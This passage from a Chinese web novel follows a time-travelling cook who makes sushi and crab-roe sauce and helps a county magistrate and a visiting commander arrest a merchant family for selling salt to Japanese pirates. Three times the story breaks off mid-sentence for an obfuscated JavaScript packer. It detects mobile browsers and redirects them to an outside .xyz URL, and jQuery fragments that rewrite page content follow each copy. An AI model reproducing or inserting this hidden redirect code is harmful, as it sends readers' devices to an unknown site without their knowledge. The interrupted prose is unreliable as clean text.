品尝过吃食后,他们三人各归各位,算账的算账,洗碗的洗碗。 云楚沅取出一包紫菜饼,想要复刻海苔,做成酥酥脆脆的小零食,带回去给小弟和小妹解馋。 紫菜清洗过后,剪成方形,用刷子蘸上油,轻轻涂抹于紫菜表面,撒上盐和芝麻后送入烤炉,紫菜边缘渐渐卷翘,颜色由深绿向焦褐转变,一块块墨绿的海苔片渐渐成型。 待稍许冷却,云楚沅拿起一块海苔片轻咬,“咔嚓”一声脆响,口感酥脆得超乎想象。 咸香味瞬间在舌尖绽放,紫菜本身的鲜咸肆意蔓延,馥郁香气层层叠叠涌来,诸般味道交织缠绵,久久不散。 云楚沅出门一趟,回来后提着一块竹帘,钱春香停下打算盘的动作,好奇地问道:“楚沅,你怎么弄来这么小一块竹帘?” 这里的人常用竹帘做门帘和窗帘,既通风又遮阳,而云楚沅手里拿着的竹帘只有两巴掌那么大,让人不知道有什么用处。 “我这是用来做吃食的,春香姐,你就等着瞧好吧。”云楚沅特意卖了个关子。 大堂没有客人,云楚沅拿了块案板过来,准备当着钱春香的面亲自展示。 竹帘平铺在案板上,云楚沅从碗中取出一团米饭,放在掌心轻轻揉搓,将这团米饭放在竹帘上,然后用掌心轻轻按压,将米饭均匀地铺展开来,像是给竹帘铺上了一层雪白的毯子。 云楚沅铺上剥好的蟹肉丝,再依次摆上黄瓜条、胡萝卜条和煎蛋皮,它们在米饭和蟹肉的衬托下,色彩斑斓,如同一幅精致的画卷。 最后,双手握住竹帘两端,轻轻将食材卷起,竹帘裹挟着食材缓缓向前推移,力道恰到好处,不松不紧,让米饭与馅料完美融合,不留一丝缝隙。 在卷的过程中,手心要不断用力,让寿司卷紧实而不松散,待卷至尽头,云楚沅用竹帘轻轻压实,将卷好的寿司推出竹帘,置于案板之上。 竹帘慢慢打开,精致的寿司卷呈现在眼前,云楚沅用锋利的刀蘸过水后,将寿司卷切成小块。 “春香姐,这是蟹肉寿司,你尝尝。” 摆好盘的寿司,那精致的横切面让人不忍下箸。 钱春香轻拈一段,放入口中,首先尝到的是海苔的酥脆,轻微的“咔嚓”声在齿间回响,紧接着是米饭的软糯香甜,与海苔的咸香交织在一起,而后,层次丰富的内陷逐一展现。 云楚沅又从厨房弄来一碟酱油和山葵,“春香姐,蘸着调料吃。” 云楚沅也夹起一块寿司,蘸上一点山葵和酱油,放入嘴里,山葵的辛辣、酱油的咸香、米饭的软糯、配菜的清爽以及蟹肉的鲜甜,各种味道在口中交织,令人回味无穷。 厨房里的三文鱼被朱师傅处理好了,云楚沅切下几片鱼肉,放在火上炙烤。 云楚沅取了一点米饭置于左手手心,右手拇指与食指、中指巧妙发力,将米饭揉捏成团,将炙烤过的三文鱼放在上面,淋上一点点酱油,一枚手握寿司便诞生了。 端着一盘炙烤三文鱼寿司走出厨房,云楚沅看到两位奇装异服的男子正围着钱春香手舞足蹈。 等她走近,便听到那两个男人正操着奇怪的口音叽叽咕咕地说着什么。 “老……老板,我……我要吃这个。”其中一人指着钱春香面前碟子里的寿司。 “抱歉,我们店里的菜单上没有这道菜。”钱春香充满歉意地笑了笑。 那人仿佛听不懂人话一样,竟然直接上手抓,钱春香来不及阻止,被他给得逞了。 男人嚼着寿司,表情享受地吐出两句让人听不懂的话。 不远处的云楚沅目瞪口呆,她揉了揉自己的耳朵,怀疑自己出现了幻听,这人方才说的话怎么有些像岛国语呢! 她怔愣在原地,心里默默想着,不是吧,做了点寿司,还能将岛国人给引来吗? 云楚沅有些不知所措,为了搞清楚这两人的来历,她走上前去,接替钱春香的位置。 “二位,我才是老板,有什么要求你们可以和我说。” 两个男人你看看我,我看看你,又齐齐看向云楚沅,异口同声地说道:“卷,好吃。” 云楚沅大概听明白了他们的意思,她端起手握寿司,说道:“虽然这道菜是不卖的,但如果你们两个喜欢的话,我可以破例卖给你们,两位先坐下吧。” 两个男人埋头吃着寿司,云楚沅悄悄打量着他们,两人的腰侧系着两个布袋,别着一把长刀,瞧着就不是善茬。 云楚沅试探开口:“二位客人家住何方?是来我们临海县游玩的吗?” 两人吃东西的动作一顿,警惕地盯着她。 云楚沅假装没看出他们的紧张,反而表情刻薄地说道:“外乡人,你们可别没带够银子,在我这里吃白食。” 听见这女子不是对他们的身份产生了怀疑,而是担心他们付不起钱,两人神色稍缓。 “砰!”其中一人掏出银子重重拍在桌上,瞪了一眼云楚沅,那眼神好像在说“老子有钱”。 云楚沅立刻将银子拿了起来,表情谄媚道:“两位爷,我再给你们添两道菜。” 起身离开的云楚沅听到身后传来的嘀咕声,基本能确定这两个来路不明之人的身份,从他们的口音、着装、佩刀样式来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950591|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这两人根本就不是大燕朝的百姓。 至于他们来临海县的目的,还得再试探。 两个岛国人吃饱喝足后,站起身来正要离开,云楚沅一边呼喊,一边小跑过去,“两位壮士,还没找钱呢!” 她扒拉着他们腰间的布袋,想将手里的铜板塞进去,两人“唰”的一下拔出长刀,挡在身前,目光锐利地盯着云楚沅,对她的靠近十分戒备。 云楚沅讨好地笑了两声,打开掌心,将铜钱展示给两人看,尴尬地说道:“别误会,我只是想找你们钱,我可不是贪小便宜的人。” 两人对视一眼,不愿多生事端,转身快步离开了。 云楚沅的表情瞬间冷凝,瞧瞧她发现了什么?这两个岛国人的布兜里竟然装满了盐。 这其中必然有不可告人的秘密! 云楚沅眼珠子一转,提着裙摆匆忙跟上,瞧他们如此急切的模样,肯定是有什么的事要去做,正好她可以悄悄跟上去一探究竟! 那两人一出云记食肆,左顾右盼后,钻进了偏僻的小巷,云楚沅小心翼翼地与他们保持着一定的距离,走路极为谨慎,生怕发出声响暴露了自己。 七拐八拐,两人脚步匆匆地一路向西走去,云楚沅必须小跑起来才能跟上。 就在云楚沅跟着他们走进西街的小巷时,她不小心踢到了一块石子,顿时引起了两人的警觉,他们猛地停住脚步,朝她躲藏的方向看了过来。 云楚沅心中暗叫糟糕,急忙屏住呼吸,紧紧贴在墙壁上,大气也不敢出。 两人缓缓朝着她的方向走来,每一步都仿佛踏在云楚沅的心尖上,令她的心跳急速加快。 就在这千钧一发之际,云楚沅突然感到腰上传来一股巨力,像是被一条胳膊紧紧箍住,紧接着便腾空而起,轻轻落在屋檐上。 云楚沅猛然回头,对上了一张熟悉的脸。 “裴昱臣?”云楚沅轻呼一声,万万没想到会在这里碰上县令大人,还恰巧被他救下。 “裴大哥,你怎么在这儿?”云楚沅激动地问道。 裴昱臣收回揽在她腰际的手臂,面色严肃地看着她说道:“你又为何在此?” 云楚沅还沉浸在裴昱臣宛如天神下凡,解救她与危难之际的惊喜中,并未发现他在生气。 “说来话长,裴县令,你不知道我发现了什么惊天大秘密,这要从我在食肆做吃食说起……”云楚沅叽叽喳喳开口,想要与裴县令分享自己发现秘密的经过。 “长话短说。”裴昱臣抬手制止了她的滔滔不绝,眼睛注视着探查无果后离去的两个男人。 “简单来说,就是我在跟踪坏人!” 裴昱臣看了眼云楚沅得意洋洋的模样,冷声说道:“不自量力。” 云楚沅一下子愣住了,不敢置信地看向他,“你……你说什么?” 裴昱臣偏过头去,不去看她满脸委屈、泫然欲泣的样子,嘴里的话毫不留情,“我说的不对吗?仗着有几分聪慧便自以为是,今日要是没有我,你知道你会是什么下场吗?” 云楚沅攥紧双拳,赌气道:“那你干嘛救我,让我自生自灭好了!” 46. 蟹黄酱 日头西斜,霞光顺着檐角慢慢攀上青灰瓦片,西街偏僻的一处屋檐上,一男一女各执己见,气氛凝重。 身姿婀娜的女子,裙摆随风轻拂,她眉眼间透着几分娇俏与倔强,此刻正站在那高高的屋檐之上,双手叉腰,柳眉微蹙,眼神中闪烁着怒焰。 对面站着一位风度翩翩的公子,一袭月白长袍随风飘动,身姿挺拔如松,他面容英俊,双眸深邃,两人的目光在空中交汇,仿佛有火花在碰撞。 “别无理取闹了,我怎会对你见死不救?”裴昱臣语气无奈,这丫头自个没理,便胡搅蛮缠,他怎么可能眼睁睁地看她身陷危险之中,还无动于衷呢? 云楚沅哼了一声,显然是对裴昱臣方才的斥责耿耿于怀,她声音清脆却带着明显的怒意,“你凭什么说我自以为是?我想如何行事就如何行事,你凭什么对我指手画脚?” 裴昱臣微微蹙眉,头一回觉得女子是如此难以应对,“你莫要如此任性,我都是为你着想,你身娇体弱的,哪里会是他们的对手,万一被发现了,那便是叫天天不灵,叫地地不应。” “哼,少来了,我一向小心谨慎,方才差点被发现那只是意外。”云楚沅脸颊泛红,仍旧嘴硬。 “难道你就不能派人来通知我一声吗?偏要以身犯险?”裴昱臣不赞同地看向她。 云楚沅眼神委屈地盯着他,撅着嘴嘟囔道:“你说得轻巧,要是被他们给溜走了,岂不是错失良机!那两个可疑人士很可能与徐家有贩卖私盐的交易。” 如果再给她一次机会,云楚沅依旧会选择跟上来,哪怕明知道此举危险,但和私盐相关的事,她怎么可能放弃一探究竟的机会。 这几日,裴昱臣眉间的愁绪一直不散,云楚沅看在眼里,她也想尽自己的绵薄之力,为他排忧解难。 这个时候孰对孰错已经不重要了,云楚沅就是对裴昱臣不分青红皂白的训斥很愤怒,她向前迈了一小步,脚下的瓦片发出轻微的声响。 云楚沅攥紧拳头锤了一下小书生的胸膛,眼眶泛红,幽怨地骂道:“你这个没良心的,我是昏了头,才会上赶着帮你!” 感受着胸前宛如鸿毛拂过、没什么分量的力道,裴昱臣一把握住她的手腕,看了看周围,生怕动静大了被人瞧见,他低声说道:“好了,别闹了。” 眼瞧着裴昱臣气势减弱,云楚沅更是来劲,她仿佛受了天大的委屈,眼中泪花闪烁,却强忍着不让其落下,她的声音颤抖地嗔怒道:“你根本不懂我!我是那种胆小甚微的女子吗?我这么做都是因为谁?你不感激我就算了,还要指责我!” 云楚沅情绪太过激动,或许是脚下的瓦片松动,又或许是屋檐上的青苔有些滑腻,她一个不慎,脚下一滑,直直朝着下方坠去。 裴昱臣瞳孔微缩,下意识地伸手去拉,却不想自己也失去了平衡。 两人就这样直直地从屋檐上坠落而下,风声在耳边呼啸而过。 裴昱臣一咬牙,用尽全身的力气,巧妙地调整着自己的位置,在即将触地的前一刻,他成功地让自己处在云楚沅的下方,做了她的垫子。 随着一声沉闷的撞击声,尘土飞扬间,两人摔在了一起,云楚沅的惊呼声还未出口,便已重重地摔在了裴昱臣的身上。 “唔。”背部着地的裴昱臣闷哼一声,他强忍着疼痛查看云楚沅的情况,“没摔着吧?” 裴昱臣的长袍沾满了灰尘,原本整齐的发冠也有些歪斜。 云楚沅的裙摆凌乱地散开,发髻也有些松散,几缕青丝垂落在脸颊旁,她慌忙头起头来,顾不上整理发型,双手搭在裴昱臣的肩膀上,焦急地询问:“你有没有事?” 一时间,周围的一切都仿佛静止了,只剩下略显狼狈的两人四目相对。 云楚沅看着近在咫尺的男子俊美的脸庞,眼中的怒意消失得一干二净,只剩下惊慌与关切。 裴昱臣也愣住了,目光落在她的身上,一时间竟有些不知所措。 “咳咳!”云楚沅慌忙从他身上爬起来,扯着衣角小声说道:“抱歉。” “无事。”裴昱臣表情羞涩,拍了拍身上的尘土。 两人匆忙分开,刻意回避对方的视线。 片刻之后,裴昱臣率先打破寂静,“这附近的情况我已经探查清楚了,先回衙门吧,剩下的事我会安排梁捕头去做的。” 云楚沅讶异地看向他:“你今日出现在这里不是巧合吗?” 谈起正事,两人之间的尴尬气氛消退了不少,在回程的路上,裴昱臣把他今日出现在此处的缘由说与云楚沅听。 “徐家的案子我也一直在想法设法地找突破口,梁捕头也在暗中盯紧了徐家人。” 原来,自打杜知州离开临海县,裴昱臣没放弃追查徐家,西街的作坊被封后,他们又在附近的小巷做起了贩盐的营生,愈发不把他这个县令放在眼里。 徐家人笃定杜知州马上就会安排新县令上任,裴昱臣这个不知变通的榆木疙瘩根本不足为惧。 “岂有此理,徐家也太明目张胆了吧!他们竟连倭人的生意都做。”云楚沅气愤不已。 云楚沅见裴昱臣一点都不着急的样子,便猜测他已想好了应对之策,她好奇地问道:“裴大人,你有什么计划?” 裴昱臣脚步一顿,凑到她耳边轻声说道:“勾结倭寇,这罪名如何?” 江南官绅通过与倭寇勾结,走私商品来获取暴利,已经逐步显露,贪官污吏这样做壮大了倭寇的势力,加剧了他们对大燕朝的威胁。 裴昱臣从孟师兄那里听闻,皇上这次再度提拔严指挥使,就是想让他解决这一重大隐患的。 当今圣上这一生虽无大功绩,可百姓们的生活还算安居乐业,这要是在他晚年出现了倭寇入侵的祸事,定会晚节不保,为后世所诟病。 云楚沅明白了裴昱臣的意思,既然贩卖私盐这一罪名不够大,那就将其放大,一旦徐家人被扣上勾结倭寇的罪名,别说他们小命不保,就连杜知州都要被牵连。 往小了说,是贪赃枉法,往大了说,这可是通敌叛国的死罪。 再者说,这□□商和狗官平日里做了那么多伤天害理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950592|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,死不足惜,往他们身上泼脏水,那是一点心理压力都没有。 云楚沅拍手称赞:“大人这招可真妙啊,可谓是一石二鸟,既能铲除徐家,又能把知州拖下水,那我就拭目以待喽。” 两人回到县衙的后院,正要分开之际,裴昱臣唤住了刚想离开的云楚沅。 他语气轻缓地开口:“抱歉,今日是我话说重了,多谢你的好意。可是楚沅,线索再重要,也没有你的安危重要。” 云楚沅冷静下来后,也为方才自己的所作所为感到不好意思,她轻轻点了点头,小声说道:“裴大哥,我也有错,我知道你是担心我啦,都怪我一生气就听不进去解释,还冲你乱发脾气。” 两人面对面地自我反思一通后,相视一笑。 “那这样吧,以后我们就算再生气,也要给对方一个解释的机会,省得彼此误会。”云楚沅笑着提议。 “好。”裴昱臣注视着她,微微点头。 —— 转眼快要入秋,距离上回云楚沅和裴昱臣争吵后又和好如初,已过去一月有余。 这个时节的母蟹蟹黄饱满,最为鲜美,小渔村的养殖户们陆陆续续开始打捞螃蟹,而云楚沅也放出了风声,村民们有多少螃蟹,她的加工坊就收多少。 她已经计划好要将蟹黄酱列为和宋记合作的重点项目了。 昨日周掌柜收到了宋家少爷的回信,不出云楚沅所料,宋家对她提出来的合作很感兴趣。 不过,宋少爷在信中言明,酱料和干货的味道不错,可干货别人也能做,希望她多研制一些秘制酱料。 恰好到了螃蟹收获的季节,云楚沅便想到了蟹黄酱这款高端调味品。 因其原料稀缺、制作工艺复杂,必须选用优质母蟹的蟹黄,还需要雇人手工剥蟹,蟹黄酱成了一样成本极高的珍贵酱料。 可这款产品的主要销售对象并非普通百姓,而是吃得起珍馐美馔的富庶人家,既然生意都要做到江南去了,自然要推出档次更高级的海鲜制品。 小渔村的加工坊内已是一片忙碌景象,地上摆满了大盆,里面放着装牙舞爪的新鲜螃蟹。 村民们掰开螃蟹的外壳,如同对待稀世珍宝一般,将那金黄诱人、带着颗粒的蟹黄完整地剥离出来,放入一旁早已准备好的大碗中,每一块蟹黄都细腻嫩滑、色泽鲜艳得让人移不开眼。 另一边的村民手法娴熟地将蟹肉剔出,去除其中的杂质,只留下最鲜嫩的白色蟹肉,再将蟹肉切成细小的碎末,与蟹黄混合,这样做出来的蟹黄酱口感更丰富。 炉灶上的大铁锅正冒着腾腾热气,待油温达到恰到好处时,云楚沅带着熬酱料的师傅们将事先准备好的葱、姜、蒜等香料放入锅中。 香料的香味激发出来后,将蟹黄和蟹肉倒入锅中,它们在热油中翻滚起来,发出“嗞啦嗞啦”的声响。 大师傅手持长柄铁勺,不停搅拌,让蟹黄和蟹肉在热油中充分融合,他的动作轻柔而有力,既不会破坏蟹黄,又确保每一粒蟹肉都能被油脂包裹,吸收进香料的滋味。 47. 严指挥使 随着熬酱师傅不断地搅拌,蟹黄酱的颜色加深,从原本的金黄逐渐转变为橙红。 云楚沅凑近锅边,微微闭上眼睛,用鼻子轻嗅,鲜、香、咸、甜各种味道融汇在一起,令人止不住想咽口水。 待蟹黄酱即将熬制完成的时候,再加入盐和糖进行调味,盐能提升蟹黄酱的鲜味,糖则巧妙地化解了其中的腥味。 为了能够体现新产品的高端,云楚沅特意定制了一批样式精美的瓷瓶,上面绘制了小螃蟹的图案,包装升级,价钱自然也就上去了,云楚沅决定定价二十两银子一瓶,狠狠从富户身上大捞一笔。 云楚沅带着百瓶蟹黄酱回到临海县,将它们交付给了周掌柜。 “云丫头,这回又做了什么好东西?”周掌柜细细端详手里小巧的瓷瓶。 上回帮云楚沅写了封推荐信后,没过几日,宋少爷身边的贴身侍卫就亲自送信过来,信上除了敲定与云楚沅合作,还对他颇有称赞。 周掌柜作为牵线人,由他负责临海县收货的事宜,他现在对云楚沅做出来的酱料可谓是有种盲目信任,笃定会是好东西。 揭开盖子,那股浓郁鲜香扑鼻而来,周掌柜定睛一瞧,里面的酱体呈现出诱人的橙红色,用筷子轻轻挑起一点酱料,膏体细腻绵密,如丝绸般顺滑,不见丝毫杂质。 周掌柜浅尝了一口,蟹黄颗粒分明,油脂慢慢融化后,带来浓郁的咸香味,细品之下,还有一丝甘甜。 “妙啊,这一小口好似凝聚了整只螃蟹的精华,还省去了剥壳这麻烦的步骤,卖到江南肯定会大受欢迎。” 略一思索,周掌柜捋着长须说道:“想必这酱料不便宜吧。” 云楚沅笑了笑:“周掌柜慧眼识珠,这蟹黄酱乃极品酱料,采用的皆为上等母蟹,制作过程繁杂,我卖给你们宋记二十两。物以稀为贵,这东西到了江南,卖到上百两银子也是可行的。” 周掌柜点点头,江南繁华,花银子如流水,只要宋家稍一运作,这蟹黄酱上了富贵人家的饭桌,立马便会成为身份的象征,绝对会大受青睐。 “成,云丫头,咱们也算知根知底,这批酱料我收下了。”周掌柜一锤定音,并未讨价还价。 清点过一百瓶蟹黄酱后,周掌柜说道:“我估摸着这百瓶蟹黄酱很快便会一售而空,丫头你提前做好准备,多备下一些货。” “好嘞!” 云楚沅喜笑颜开,想不到她穿越之后赚钱最多的一笔生意竟是蟹黄酱。 她不禁感慨,果然,还是有钱人家的银子好赚啊,希望以后多来点这样的订单。 —— 县衙。 裴昱臣神色淡定地烧毁了手里的信,位于下首的许主簿眼珠子乱转,他思忖着徐老爷吩咐的事,试探着开口,“大人,是何人来信?” “家中长辈写信来催婚,本官的家事你也要操心?”裴昱臣冷冷地撇了他一眼。 许主簿讪讪一笑:“不敢不敢。” 气氛顿时安静下来,裴昱臣看起了案宗,把这位心怀鬼胎的下属晾到了一边。 许主簿状似不经意地说道:“唉,大人您忙于公务,哪有空闲谈婚论嫁呀,单是徐家的事就让大人焦头烂额了。” 眼见裴县令并不搭腔,许主簿咬咬牙,直接询问:“大人,您可是有对付徐家的办法了?” 裴昱臣头也不抬地回道:“若是有,我还会坐在这里吗?” 许主簿松了一口气,他就说嘛,这位状元郎要当真有靠山,怎会被困在这弹丸之地?这徐老爷真是生性多疑,偏要让他来探探口风。 “大人,既然事情如此棘手,您为何不换一条路走呢?” 裴昱臣这才抬起头来,掀起眼皮看了他一眼,“怎么,许主簿有何高见?” 见风使舵的许主簿对此颇有经验之谈:“常言道,人往高处走,水往低处流。大人,这为人处事啊,要学会变通。” 裴昱臣的眼神晦暗不明,他轻启薄唇,慢悠悠地说道:“说来听听。” 许主簿还以为这榆木疙瘩开窍了,满面笑容地劝道:“大人,官大一级压死人,您区区一县令,哪里能抗衡得了背靠姚相的杜知州呢?您大可以向知州大人服个软,名利双收指日可待呀!” 裴昱臣敛下眼睫遮住眼底的讥讽,他声音清冷道:“名利?徐家人追随了杜大人,我也没见他们飞黄腾达。” 许主簿的脸上露出一抹意味深长的笑意,“好处自然是有的,徐家可是被委以重任。” 裴昱臣适时表现出动摇:“口说无凭,我怎会信你的一面之词。” 许主簿摸着下巴说道:“大人,三日后辰时,你来徐家一趟,自会知晓我说的是真是假。” “好。” 虚与委蛇了半晌,裴昱臣终于听到了自己想听的话,许主簿定下的时间刚刚好,也省得他变动计划了,万事俱备,只等那人来了。 —— 两日后的半夜,一队伪装过后的人马向着临海县疾驰而来,秘密潜入县城后,叩响了县衙的后门。 门内等候多时的裴昱臣令青竹打开了门,十几人身披斗篷,直挺挺地站在门外,气势十足。 裴昱臣躬身相迎,赶忙上前行礼,“严大人,夜深露重,快请进。” 严清肃摘下兜帽,朝他微微点头,算是回礼,而后径直踏入门内。 此人正是奉皇命前来督查案件的严指挥使,他身着锦袍,腰佩长刀,面容冷峻,目光中透着一股不容置疑的坚毅。 “贤侄,许久未见,别来无恙。”严清肃打量了一番身侧的男子,他并未消瘦,反倒是壮实了不少,想来这临海县的日子不算太糟。 “严伯伯,我一切都好,不知我师父他老人家身体可好?”裴昱臣换了个更亲近的称呼,他与严伯相识多年,私下里关系熟稔。 严清肃说道:“他好着呢,就是心里非常记挂你,临出发前,老袭特意来找了我一趟,叮嘱我来瞧瞧你有没有遇上心仪的女子。” “……”裴昱臣无语凝噎。 前段时日,他向师父寄了封信,言明事态紧急,需要严伯亲自走一趟。 结果,他今日收到的回信里,除了提了一嘴严伯两日后到外,通篇都在询问他的终身大事如何了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950593|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严清肃拍了拍他的肩膀,笑道:“你师父已经让你师母把京城未婚的适龄女子都挑了个遍,就等你回京后去相看了。” 裴昱臣一听这话,脸都黑了,“那我还是留在临海县不回去了。” “净说胡话,待朝中形势稳下来,你定然是要往上走的,你忘记了你的凌云壮志了?难不成你想一直做个小县令吗?”严清肃摇头失笑。 裴昱臣的脸色变了又变,脑海中浮现出一名女子的笑脸,他发现提及离开临海县,他心里总是有什么东西难以割舍。 严清肃没把他的话当真,只以为他是在说气话,两人一路走到书房,关起门来,商量起了正事。 “你是说徐家人邀你辰时去,是要为你介绍倭人的?”严清肃面露诧异。 裴昱臣一边沏茶,一边说出自己的猜想:“许主簿口中的重任,除了卖盐给倭寇,再无其他。” 奸商与倭寇怎么会满足区区两袋盐的交易呢,他们要想把生意做大,临海县势必会迎来更多的倭寇,这肯定需要县令的配合,控制城中百姓。 今日一行,是明晃晃的鸿门宴,裴昱臣大概也能猜到,他要是不答应,八成是没法活着走出徐府的。 只是徐家人怎么也不会想到他早已联系上了京城中的指挥使大人,要把他们一网打尽。 “既如此,天亮我便带人和你一同前往。” 严清肃脸色不佳,还好他在去江南之前,想要先绕路到临海县帮一帮裴昱臣。 如今看来,他要是晚来一步,说不定就见不到他这位贤侄了,这临海县的奸商还真是猖獗。 天微亮,裴昱臣和严清肃一行人整装待发,刚准备从后门出去,就碰上了早起的云楚沅。 “裴大哥,你这是要去哪啊?”云楚沅好奇地打量了一圈裴昱臣周围的人,他们各个威风凛凛、英武不凡,瞧着就不像临海县能养出来的人。 裴昱臣转头看向云楚沅,缓声说道:“这位就是我先前和你提过的严指挥使,我们待会有要事要办。楚沅,今日你就先别出府了,省得一会儿城中出现骚乱,牵连到你。” 他自己是不怕危险的,可云楚沅在徐家人和倭寇那里都挂上了名号,万一他们狗急跳墙,伤害云楚沅,那可就难办了。 云楚沅恍然大悟地点点头:“哦,我懂,我懂,这是鱼儿上钩,要收网了!” 她看向身姿挺拔、表情威严的严指挥使,行了个礼,不卑不亢地说道:“民女拜见大人。” 严清肃面上不动声色地点头,其实内心十分不平静,这名女子是何人?与他那贤侄是何关系?他们怎能同住一个屋檐下? 乱七八糟想了一通,他已经开始怀疑裴昱臣的品行了,连带着看他的眼神都不对劲起来,仿佛在说“想不到哇,你小子浓眉大眼的,心思不纯呀”。 裴昱臣如芒在背,被严清肃看得很不自在,他抬手做出“请”的姿势,对严清肃说道:“大人,您先请。” 正事要紧,有什么话,严清肃只能回来再问了。 他和裴县令带领一队精兵迅速包围徐府,以勾结倭寇之名,将他们一举擒获。 48. 蟹黄汤包 “听说了吗?徐家被县令大人带着官差围了!” “围了又能怎样,上次抓了徐家少爷,那不也是雷声大雨点小,没过几日就放了吗。” “咋回事?我怎么不知道这事。” “上回把西街贩盐的作坊查抄了,闹得动静那么大,你都不知道?反正最后是不了了之了。” “小道消息,徐家攀附上了知州,所以能把他儿子从大牢里放出来,咱们县令大人也是无可奈何呀。” “哎,你们说这回县令大人能不能斗得过徐家?这抓人可得讲究个真凭实据,不然这徐家有靠山,万一转头告县令大人一个诬陷之罪可咋办!” “这回不一样,我方才瞧见了,徐家藏着两个倭人,他们好像正在商量不可告人之事,被县令大人当场撞破了!” “当真?那可有好戏看了,勾结倭寇,是要杀头的大罪吧。” “希望县令大人把徐家的罪证都查清楚,让他受到应有的惩罚,以后咱们的日子能好过许多。” “那就等着瞧吧,要是县令大人赢了,我们这些商贩以后做生意便能安稳点,这要是输了,就只能继续被那奸商骑在头上作威作福了。” 此时,裴昱臣和严指挥使已经将徐家人和倭人一起押回了县衙,其中还有许主簿,他们全都怒瞪着裴昱臣的背影,一路上不停叫嚣。 “姓裴的,你忘记上回的事了?我们徐家可是受杜知州庇护的,你抓了我们,就不怕你头顶上的乌纱帽不保吗!” 身上伤口刚好的徐子恒恶狠狠地盯着裴昱臣,上次被打得皮开肉绽的痛楚令他记忆犹新,他恨不得啖其肉、饮其血。 徐子恒在两名官差的手底下拼命挣扎,试图挣脱桎梏,手腕上的镣铐碰撞在一起,发出“叮呤当啷”的声响。 许主簿趋炎附势惯了,瞧见有个正气凌然的男人走在裴昱臣身前半步的位置,他心下惊疑不定,这透露出裴昱臣对此人的尊敬,这个眼生的男人很可能官职要比裴县令大。 想起徐老爷说过裴昱臣是京中人士,不要掉以轻心,许主簿便有些后悔,早知如此,就不那么快投靠徐家了,杜知州是有势力,但也不可能每回都来临海县保人啊。 “裴大人,您误会了,我可不是和他们一伙的,我今日来此是为了保护您的啊,我偷听到徐家人和倭寇商量着要将您斩草除根,他们意图谋害朝廷命官,简直是罪该万死!” 徐子恒听见许主簿这般出卖他们,怄得不行,“呸,你这狗东西,对着我们徐家摇尾乞怜时,你可不是这个态度,你不是嘲笑裴昱臣不懂为官之道吗?怎么,现在又想上赶着讨好他了?贱骨头。” 许主簿并不理会徐少爷的冷嘲热讽,脊梁骨能有几斤重?能让他吃香喝辣,享受荣华富贵吗?如果不行,那不要也罢。 那两名倭寇因为叫骂的鸟语没人能听懂,吵的人心烦,便被堵住了嘴。 而被衙役推搡着、跌跌撞撞走在最后头的徐老爷脸色灰败,他经商多年,察言观色的能力不可谓不强,最前方那位大人高深莫测,来历不简单,他们徐家这一次可能在劫难逃了。 —— 明镜高堂,意在提醒官员们在审理案件时,要像明亮的镜子一样洞察是非、不偏不倚。 上次在这块牌匾之下,裴昱臣亲眼目睹杜青岩徇私枉法、滥用职权,却无能为力,只能眼睁睁看着他将犯人带走。 如今,高堂之上坐着的是铁面无私的严指挥使,这一回,早该被判刑的徐家人休想再次逃脱。 “砰!” 惊堂木拍在桌上,严清肃不怒自威,他一开口,雄厚的声音回荡在公堂,“本官京城镇抚司指挥使,严清肃,奉皇上之命调查江南沿海之地的官商与倭寇勾结一事。” 饶是徐老爷早已料到会如此,他仍对来人的身份感到震惊。 这京城中大名鼎鼎的镇抚司专理皇帝钦定的案件,还有直接抓捕犯人、刑讯犯人的权利。 徐老爷远在偏僻的临海县也对此略有耳闻,想不到有一日他会遇见名声如雷贯耳的指挥使大人。 他轻轻合上眼,嘴唇抖个不停,颤颤巍巍地俯下身,额头贴在地面上,声音嘶哑地说道:“草民,徐有富,叩见指挥使大人。” 旁边的徐子恒一下子瘫软在地,他双眼瞪大,满脸惊恐,心中大骇,期期艾艾道:“指,指挥使……” 先前裴昱臣带人闯进徐家时,徐子恒还不以为意,即便被戴上镣铐,他也坚信自己会逢凶化吉,毕竟今时不同往日,他们徐家可是有知州大人撑腰的。 如今,听到高堂上的主审官竟是从京城来的,徐子恒冷汗直冒,他心中只剩一个想法,吾命休矣! “临海县徐有富、徐子恒父子二人为一己私利,贩卖私盐、勾结倭寇,犯下滔天罪行,证据确凿。今必将其严惩,以儆效尤!” 接着严指挥使做了判决,徐家男丁以通倭谋反的罪名被判秋后问斩,没收家产,女眷流放。 而许主簿被削去官职,也被判了流放。 徐老爷被拖下去时魂不守舍、面如死灰,仿佛即将一命呜呼。 徐子恒眼神空洞,嘴里喃喃自语:“不……这不是真的,不是真的。” 